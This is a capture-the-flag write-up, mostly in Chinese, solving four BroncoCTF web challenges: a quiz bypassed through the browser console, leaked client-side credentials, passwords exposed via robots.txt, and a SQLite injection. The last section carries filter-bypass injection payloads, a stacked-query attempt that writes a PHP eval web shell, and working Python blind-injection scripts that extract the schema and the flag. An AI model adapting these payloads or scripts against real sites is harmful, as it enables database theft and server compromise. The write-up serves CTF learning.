1.Unblur Me
js:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Calculus Review</title>
<style>
body { font-family: 'Courier New', monospace; background: #0a0a0a; color: #00ff00; text-align: center; padding-top: 50px; }
.box { border: 1px solid #00ff00; display: inline-block; padding: 30px; border-radius: 5px; background: #111; }
input { background: #000; border: 1px solid #00ff00; color: #00ff00; padding: 10px; font-size: 1.2em; width: 100px; text-align: center; }
button { background: #00ff00; color: #000; border: none; padding: 10px 20px; cursor: pointer; font-weight: bold; margin-top: 10px; }
.image-container {
display: inline-block;
border: 3px solid #00ff00;
margin-top: 20px;
margin-bottom: 20px;
line-height: 0;
}
#flag-image {
display: block;
margin: 15px;
max-width: 400px;
filter: blur(20px);
transition: filter 0.5s ease;
user-select: none;
-webkit-user-drag: none;
pointer-events: none;
}
.stats { margin-bottom: 20px; font-size: 1.5em; }
</style>
</head>
<body>
<div class="box">
<h1>CALCULUS REVIEW</h1>
<p>Solve 500 derivatives to unblur the image and unlock a secret.</p>
<div class="image-container">
<img id="flag-image">
</div>
<div class="stats">Progress: <span id="score">0</span> / 500</div>
<div id="quiz-area">
<h2 id="question">Loading...</h2>
<input type="text" id="answer" placeholder="?">
<br>
<button onclick="checkAnswer()">SUBMIT ANSWER</button>
</div>
</div>
<script>
let correctCount = 0;
let currentAnswer = "";
function generateProblem() {
const type = Math.floor(Math.random() * 3);
let questionText = "";
let answer = 0;
if (type === 0) {
const a = Math.floor(Math.random() * 10) + 2;
const b = Math.floor(Math.random() * 4) + 2;
const c = Math.floor(Math.random() * 20) + 5;
questionText = `f(x) = ${a}x<sup>${b}</sup> + ${c}x <br> Find f'(1)`;
answer = (a * b) + c;
} else if (type === 1) {
const a = Math.floor(Math.random() * 10) + 5;
const isSin = Math.random() > 0.5;
if (isSin) {
questionText = `f(x) = ${a}sin(x) <br> Find f'(π/2)`;
answer = 0;
} else {
questionText = `f(x) = ${a}cos(x) <br> Find f'(π)`;
answer = 0;
}
} else {
const a = Math.floor(Math.random() * 5) + 1;
const b = Math.floor(Math.random() * 5) + 1;
questionText = `f(x) = (x + ${a})(x + ${b}) <br> Find f'(1)`;
answer = 2 + a + b;
}
document.getElementById('question').innerHTML = questionText;
currentAnswer = answer;
document.getElementById('answer').value = "";
}
function checkAnswer() {
const userAnswer = parseInt(document.getElementById('answer').value);
if (userAnswer === currentAnswer) {
correctCount++;
document.getElementById('score').innerText = correctCount;
if (correctCount >= 500) {
document.getElementById('quiz-area').innerHTML = "<h2>ACCESS GRANTED</h2>";
const flag = document.getElementById('flag-image');
flag.style.filter = "none";
flag.style.pointerEvents = "auto";
} else {
generateProblem();
}
} else {
alert("WRONG! Starting over.");
correctCount = 0;
document.getElementById('score').innerText = correctCount;
generateProblem();
}
}
function loadSecretImage() {
fetch('/api/v1/internal/fetch-config-blob')
.then(response => {
if (!response.ok) throw new Error("Failed to load");
return response.blob();
})
.then(blob => {
const blobUrl = URL.createObjectURL(blob);
const img = document.getElementById('flag-image');
img.src = blobUrl;
})
.catch(err => console.error("Error hiding image:", err));
}
generateProblem();
loadSecretImage();
</script>
</body>
</html>
全局作用域:你的脚本中 correctCount 是用 let 定义在全局的,控制台可以直接访问并修改它。
跳过逻辑:checkAnswer() 函数内部只判断 correctCount >= 500。一旦满足,它就会移除滤镜并显示图片。
correctCount = 500;
document.getElementById('answer').value = currentAnswer;
checkAnswer();
2.Super Secure Server
我刚刚完成了我的第一个API开发,用来处理我个人网站的安全登录!为了更加安全,我甚至不会告诉你我的用户名,所以你真的不可能黑掉我的账号。
源码:
let leakedUser = "";
let leakedPass = "";
fetch('/api/config')
.then(res => res.json())
.then(data => {
leakedUser = data.username;
leakedPass = data.password;
});
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const u = document.getElementById('username').value;
const p = document.getElementById('password').value;
const msgBox = document.getElementById('messageBox');
// client-side password comparison
if (u === leakedUser && p === leakedPass) {
fetch('/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ authenticated: true })
})
.then(res => res.json())
.then(data => {
if (data.success) {
window.location.href = data.redirect;
}
});
} else {
msgBox.innerText = "Incorrect username or password!";
}
});
客户端验证缺陷(Client-Side Authentication Vulnerability)。代码里已经清清楚楚地写了:
在登录之前,浏览器会先去请求 /api/config,然后把拿到的用户名和密码存进 leakedUser 和 leakedPass 变量里。
既然验证是在本地进行的,根本不需要去猜密码,直接从内存里把它们“拿”出来就行。
控制台输入
console.log("Username:", leakedUser);
console.log("Password:", leakedPass);
Username: SuperSecretUser
Password: rji32orj932r3209r233sqmet4v2cxbns8
Here is your flag: bronco{d0nt_3xp0se_p@ssw0rd5!}
3.Lovely Login
欢迎来到我们全新的登录页面。开发者们信誓旦旦地说它很安全……但他们可能在正式上线前漏掉了一些细节。你能弄明白身份验证的原理,并以正确的用户身份登录吗?PS:请遵从我的意愿,不要抓取网页内容。
async function login() {
const u = document.getElementById("u").value;
const p = document.getElementById("p").value;
const res = await fetch("/login", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({username: u, password: p})
});
document.getElementById("out").innerHTML = await res.text();
}
随便填了密码登陆后
复制变成了:
async function login() { const u = document.getElementById("u").value; const p = document.getElementById("p").value; const res = await fetch("/login", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify({username: u, password: p}) }); document.getElementById("out").innerHTML = await res.text(); }
开始扫描......
https://broncoctf-lovely-login.chals.io/robots.txt
User-agent: *
Disallow: /security
# amVmZixzYXJhaCx hZG1pbixndWVzdA==
Internal Security Notes
Status: Work in progress
Passwords are derived from usernames
Current implementation stores them backwards for obfuscation
Planned upgrade: hashing + salting
TODO: remove this page before production deployment!
内部安全说明 状态:进行中 密码由用户名派生而来 当前实现方式为反向存储密码以进行混淆 计划升级:哈希 + 加盐 TODO:在生产部署前移除此页面
编码: amVmZixzYXJhaCx hZG1pbixndWVzdA==
解码后: jeff,sarah, admin,guest
密码是用户名的反向字符串
于是有
admin
nimda
bronco{R3v3rs1ng_1s_S3cure}
4.Forbidden Archives
I have recently gained access to these Forbidden Archives, though I've been trying to access a book titled "All of the World’s Knowledge" and it seems like there's another level of security as the high council of wizards have made it forbidden. Is there a way I can get around that?
我最近获得了进入禁忌档案馆的权限,但我尝试查阅一本名为《世界所有知识》的书时,似乎还有另一层安全措施,因为巫师最高议会已经将其列为禁书。请问有什么办法可以绕过这些限制吗?
dirsearch为空
过滤
select
der
VALUES
sqlite_version 被禁(无法直接调用内置系统函数)
table
or跟的东西被禁
0') group by 1--
0') group by 4--
The archives resist:
The ink smears: 1st GROUP BY term out of range - should be between 1 and 3
1')AND(abs(case(length((select(name)from(sqlite_master)where(type)is('table')limit(1)))>1)when(1)then(0)else(0x8000000000000000)end))--
在 SQLite 中,报错注入(Error-based Injection)的思路与 MySQL(利用 updatexml 或 extractvalue)完全不同。SQLite 的错误信息通常非常简短(如 “SQL error”),不会直接带出数据。
因此,SQLite 的报错注入本质上是**“布尔盲注的变体”:利用特定的函数在特定条件下触发整数溢出**,导致数据库报错。通过观察网页返回的是“正常成功”还是“数据库错误”,来逐位判断数据。
文献:https://550532788.github.io/2020/08/10/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9B%AE%E7%9C%8B%E7%BB%95%E8%BF%87SQLite%E6%B3%A8%E5%85%A5%E7%9A%84%E5%85%B3%E9%94%AE%E5%AD%97/
1')AND(abs(case(length(hex((select(title)from(scrolls)limit(1)offset(1))))>0)when(1)then(0)else(0x8000000000000000)end))--
报错The archives resist:
The ink smears: no such table: scrolls
1')AND(abs(case(1)when(0)then(0)else(0x8000000000000000)end))--这里The archives resist:
The ink smears: integer overflow(整型溢出)
');ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); -- 然后说:The archives resist:
The ink smears: You can only execute one statement at a time.
这里拒绝了堆叠注入
0')||(id=(VALUES(1),(2)))--
回显:
A Wizard of Earthsea
Scribe: Ursula K. Le Guin
A young mage accidentally releases a shadow creature.
0')||(id)IN(SELECT(id)FROM(books)LIMIT(1)OFFSET(1))--
The Name of the Wind
Scribe: Patrick Rothfuss
The life story of a legendary musician and arcanist.
ok这是一个逻辑判断
0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE(length((SELECT(MIN(name))FROM(sqlite_master))))WHEN(5)THEN(1)ELSE(0)END)))--
回显了The Name of the Wind
说明表名就是5位数
?search=0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE((SELECT(MIN(name))FROM(sqlite_master))LIKE'f%')WHEN(1)THEN(1)ELSE(0)END)))--
CREATE TABLE books (id INTEGER, title TEXT, author TEXT, description TEXT, [这里是目标列名] TEXT)
1-18位: CREATE TABLE books
19-32位: (id INTEGER,
33-45位: title TEXT, <-- 你刚才跑到了这里
46-60位: author TEXT,
61-80位: description TEXT,
81-110位: [关键列名] TEXT <-- Flag 就在这里!
111-115位: )
exp
爆表名:
import requests
# 配置信息
TARGET_URL = "https://broncoctf-forbidden-archives.chals.io"
TRUE_KEYWORD = "The Name of the Wind"
CHARS = "abcdefghijklmnopqrstuvwxyz0123456789_{}"
def check(condition):
# 直接使用单引号 ' 和 %,逻辑非常直观
payload = f"0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE({condition})WHEN(1)THEN(1)ELSE(0)END)))--"
params = {'search': payload}
try:
r = requests.get(TARGET_URL, params=params, timeout=10)
return TRUE_KEYWORD in r.text
except:
return False
def run():
# 1. 拿第一个表名
table_name = ""
# 先确定长度(假设最大20)
length = 0
for l in range(1, 21):
if check(f"length((SELECT(MIN(name))FROM(sqlite_master)))=={l}"):
length = l
break
print(f"[+] Table 1 Length: {length}")
# 逐位爆破内容
for i in range(length):
for char in CHARS:
# 直接用 LIKE 'abc%' 这种标准语法
if check(f"(SELECT(MIN(name))FROM(sqlite_master))LIKE'{table_name + char}%'"):
table_name += char
print(f"[>] Found: {table_name}")
break
print(f"\n[!] 第一个表名是: {table_name}")
# 2. 如果第一个表是 books,找第二个表
# 逻辑:WHERE name > 'books'
# 你可以手动改一下上面的语句再跑一遍
if __name__ == "__main__":
run()
爆列名
import requests
# 1. 基础配置
TARGET_URL = "https://broncoctf-forbidden-archives.chals.io"
TRUE_KEYWORD = "The Name of the Wind"
def check(condition):
# 构造 Payload:利用 OFFSET 0/1 翻书效应
payload = f"0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE({condition})WHEN(1)THEN(1)ELSE(0)END)))--"
params = {'search': payload}
try:
r = requests.get(TARGET_URL, params=params, timeout=5)
return TRUE_KEYWORD in r.text
except:
return False
def run_fast_exploit():
total_length = 115
# 我们直接从第 85 位开始,跳过前面的 "CREATE TABLE books (..."
start_pos = 85
result = ""
print(f"[*] 正在跳过前 {start_pos-1} 位,直接探测关键列名...")
for i in range(start_pos, total_length + 1):
low = 32 # 可打印字符起始 (空格)
high = 126 # 可打印字符结束 (~)
while low <= high:
mid = (low + high) // 2
# 核心逻辑:利用 unicode(substr) 探测第 i 位字符的 ASCII 码
condition = f"unicode(substr((SELECT(sql)FROM(sqlite_master)WHERE(name)=='books'),{i},1))>{mid}"
if check(condition):
low = mid + 1
else:
high = mid - 1
# 最终确定的字符
char = chr(low)
result += char
print(f"[>] 第 {i:03d} 位: {result}")
# 实时观察:如果你看到了类似 "secret", "hidden", "flag" 这种词,或者看到了 ")",
# 说明列名已经出全了。
if ")" in result:
print("\n[!] 检测到括号闭合,爆破可能已完成。")
break
print(f"\n[!] 探测到的关键片段:\n{result}")
if __name__ == "__main__":
run_fast_exploit()
二分法导致字符偏移
调整后:
import requests
# 配置
TARGET_URL = "https://broncoctf-forbidden-archives.chals.io"
TRUE_KEYWORD = "The Name of the Wind"
# 严格按照题目给出的字符集:a-z, A-Z, 0-9, _, !, @, #, $, %, ^, &, *, '
# 建议先跑小写和数字,速度最快
CHARS = "abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&*'" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def check(condition):
payload = f"0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE({condition})WHEN(1)THEN(1)ELSE(0)END)))--"
params = {'search': payload}
try:
r = requests.get(TARGET_URL, params=params, timeout=5)
return TRUE_KEYWORD in r.text
except:
return False
def get_exact_flag():
# 从第8位开始爆破(跳过 bronco{)
flag = "bronco{"
print(f"[*] 正在从第 8 位开始精确匹配数据...")
for i in range(8, 64):
found = False
for char in CHARS:
# 逻辑:直接对比 ASCII 码是否完全一致
# 锁定 is_secret 不为 0 的那一行的 description 字段
condition = f"unicode(substr((SELECT(description)FROM(books)WHERE(is_secret)!='0'LIMIT(1)),{i},1))=={ord(char)}"
if check(condition):
flag += char
print(f"[>] 准确位探测: {flag}")
found = True
break
# 探测是否到了右括号 } (ASCII 125)
if not found:
if check(f"unicode(substr((SELECT(description)FROM(books)WHERE(is_secret)!='0'LIMIT(1)),{i},1))==125"):
flag += "}"
print(f"[!] 探测到结束符: {flag}")
break
else:
print(f"[-] 第 {i} 位未匹配到预设字符,请检查字符集。")
break
print(f"\n[!] 最终 100% 正确的 Flag: {flag}")
if __name__ == "__main__":
get_exact_flag()
bronco{y0u_d3f3@t3d_th3_h1gh_c0unc1l}